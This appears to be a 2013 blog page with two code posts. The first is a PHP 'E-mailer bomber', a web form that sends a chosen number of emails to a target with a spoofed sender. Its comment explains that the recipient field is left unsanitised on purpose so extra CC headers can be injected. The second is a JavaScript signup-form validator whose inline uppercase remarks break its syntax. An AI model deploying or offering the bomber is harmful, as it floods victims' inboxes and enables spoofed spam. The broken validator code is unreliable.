Monday, 16 December 2013

PHP E-mailer bomber by jaggikhanna

  PHP E-mailer bomber by jaggikhanna

 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>PHP Emailer</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>

<?php
$name = stripslashes(htmlspecialchars($_POST['name']));
$to = htmlspecialchars($_POST['to']); // purposely does not stripslashes so you can put in jaggikhanna@gmail.com\nCC:jaggikhanna@gmail.com
$from = stripslashes(htmlspecialchars($_POST['from']));
$subject = stripslashes(htmlspecialchars($_POST['subject']));
$count = $_POST['count'];
$sleep = $_POST['sleep'];
$message = stripslashes(nl2br($_POST['message'])); // doesn't use htmlspecialchars on purpose in order to send messages w/ html

if (isset($_POST['submit'])) // if submit button is pressed...
{
  if (empty($count) || $count == 0 || !is_numeric($count))
    $count = 1;
  if (empty($sleep) || !is_numeric($sleep))
    $sleep = 0;
  $headers = "From: $name <$from>\nReply-To: $from\nContent-Type:text/html"; // shows name, from, and makes the email able to use html
  echo "<p>Sending $count email(s) to: " . str_replace("\n", " ", $to) . "<br />\nThe wait is $sleep seconds in between each email.</p>\n\n";
  $count++; // increment $count because we are starting $i at 1
  for ($i = 1; $i < $count; $i++)
  {
    if (mail($to, $subject, $message, $headers))
      $check = "<span style=\"color: #00FF00;\">Sent</span>";
    else
      $check = "<span style=\"color: #FF0000;\">Not Sent.</span>";
    echo "Email $i: " . $check . " <br />\n";
    if ($i < $count - 1 && $sleep != 0)
      sleep($sleep);
  }
  echo "\n<br /><a href=\"$_SERVER[PHP_SELF]\">Would you like to send some more emails?</a>\n";
}
  else
{
?>

<div align="center">
<form action="<?=$_SERVER['PHP_SELF'];?>" method="post">
  <table width="600">
    <tr>
      <td>Name:</td>
      <td><input type="text" name="name" id="name" value="" placeholder="Name" /></td>
    </tr>
    <tr>
      <td>To:</td>
      <td><input type="text" name="to" id="to" value="" placeholder="TO" /></td>
    </tr>
    <tr>
      <td>From:</td>
      <td><input type="text" name="from" id="from" value="" placeholder="From" /></td>
    </tr>
    <tr>
      <td>Subject:</td>
      <td><input type="text" name="subject" id="subject" value="" placeholder="Subject" /></td>
    </tr>
    <tr>
      <td>Times:</td>
      <td><input type="text" name="count" id="count" value="" placeholder="Times" /></td>
    </tr>
    <tr>
      <td>Wait Time (in seconds):</td>
      <td><input type="text" name="sleep" id="sleep" value=""  placeholder="Wait Time (in seconds):"/></td>
    </tr>
    <tr>
      <td valign="top">Message:</td>
      <td><textarea cols="50" rows="5" name="message" id="message"></textarea></td>
    </tr>
    <tr>
      <td colspan="2" align="center"><input type="submit" name="submit" id="submit" value="Send Emails" /></td>
    </tr>
  </table>
</form>
</div>

<?php
}
?>
</body>
</html>

Sunday, 1 December 2013

NEW JAVA-SCRIPT NAME,E-MAIL & NUMBER VALIDATION

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
    <script language="javascript">
        var flag = 0;
    function username()
        {
            document.form1.usern.value = document.form1.fname.value + "  "
                                +document.form1.lname.value;
        }
        function validation()
            {
                if(document.form1.fname.value=="") FOR NULL VALUE
                    {
                        alert("Plz Enter First Name");
                        document.form1.fname.focus();
                        return false;
                    }
                if(document.form1.fname.value.length <=5 || document.form1.fname.value.length>=10) FOR LENGTH YOU WANT TO ENTER 
                    {
                        alert("Plz Enter Min 6 Character");
                        document.form1.fname.focus();
                        return false;
                    }
                if(document.form1.lname.value=="")
                    {
                        alert("Plz Enter Last Name");
                        document.form1.lname.focus();
                        return false;
                    }
                if(document.form1.pass.value=="" || document.form1.pass.value.length<=5)
                    {
                        alert("Plz Enter Min 6 Numbers");
                        document.form1.pass.focus();
                        return false;
                    }
                if(isNaN(document.form1.pass.value))
                    {
                        alert("Plz Enter Numbers Only");
                        document.form1.pass.focus();
                        return false;
                    }
                if(isNaN(document.form1.pass.value)) FOR NUMBERS ONLY
                    {
                        alert("Plz Enter Numbers Only");
                        document.form1.pass.focus();
                        return false;
                    }
                if(document.form1.repass.value!=document.form1.pass.value)
                    {
                        alert("Password Not Matched");
                        document.form1.repass.focus();
                        return false;
                    }
                for(var i=0;i<2;i++)
                    {
                        if(document.form1.r1[i].checked)
                            {
                                flag=1;
                            }
                    }
                if(flag==0)
                    {
                        alert("Plz select Gender");
                        document.form1.r1[0].focus();
                        return false;
                    }

                    var x=document.forms["form1"]["email"].value;
                    var atpos=x.indexOf("@");
                    var dotpos=x.lastIndexOf(".");
                    if (atpos<1 || dotpos<atpos+2 || dotpos+2>=x.length) FOR E-MAIL
                        {
                            alert("Please enter an exact email address." + document.form1.email.value + "  is invalid.");
                            document.form1.email.focus();
                            return false;
                        }
                if(isNaN(document.form1.cont.value))
                    {
                        alert("Plz Enter Numbers Only");
                        document.form1.pass.focus();
                        return false;
                    }
                if(document.form1.cont.value.length <=9 || document.form1.cont.value=="" || document.form1.cont.value.length >10)
                    {
                        alert("Mobile Number Must be 10 Digit");
                        document.form1.cont.focus();
                        return false;
                    }
            }
    </script>
</head>

<body>
<form id="form1" name="form1" method="post" action="">
  <table width="500" border="0" cellspacing="5" cellpadding="5" align="center">
    <tr>
            <th colspan="2">Sign Up</th>
    </tr>
    <tr>
      <td>First Name</td>
      <td><input type="text" name="fname" id="fname" /></td>
    </tr>
    <tr>
      <td>Last Name</td>
      <td><input type="text" name="lname" id="lname" /></td>
    </tr>
    <tr>
      <td>User Name</td>
      <td><input type="text" name="usern" id="usern" onblur="username()" /></td>
    </tr>
    <tr>
      <td>Password</td>
      <td><input type="password" name="pass" id="pass" /></td>
    </tr>
    <tr>
      <td>Re-Enter Password</td>
      <td><input type="password" name="repass" id="repass" /></td>
    </tr>
    <tr>
      <td>Sex</td>
      <td><input type="radio" name="r1" id="r1" value="Male" />
      Male
        <input type="radio" name="r1" id="r1" value="Female" />
      Female</td>
    </tr>
    <tr>
      <td>E-Mail</td>
      <td><input type="text" name="email" id="email" /></td>
    </tr>
    <tr>
      <td>Contact No.</td>
      <td><input type="text" name="cont" id="cont" /></td>
    </tr>
    <tr>
        <td><input type="submit" name="button" id="button" value="Submit" onclick="return validation()"/></td>
        <td><input type="reset" name="button2" id="button2" value="Reset" /></td>
    </tr>
  </table>
</form>
</body>
</html>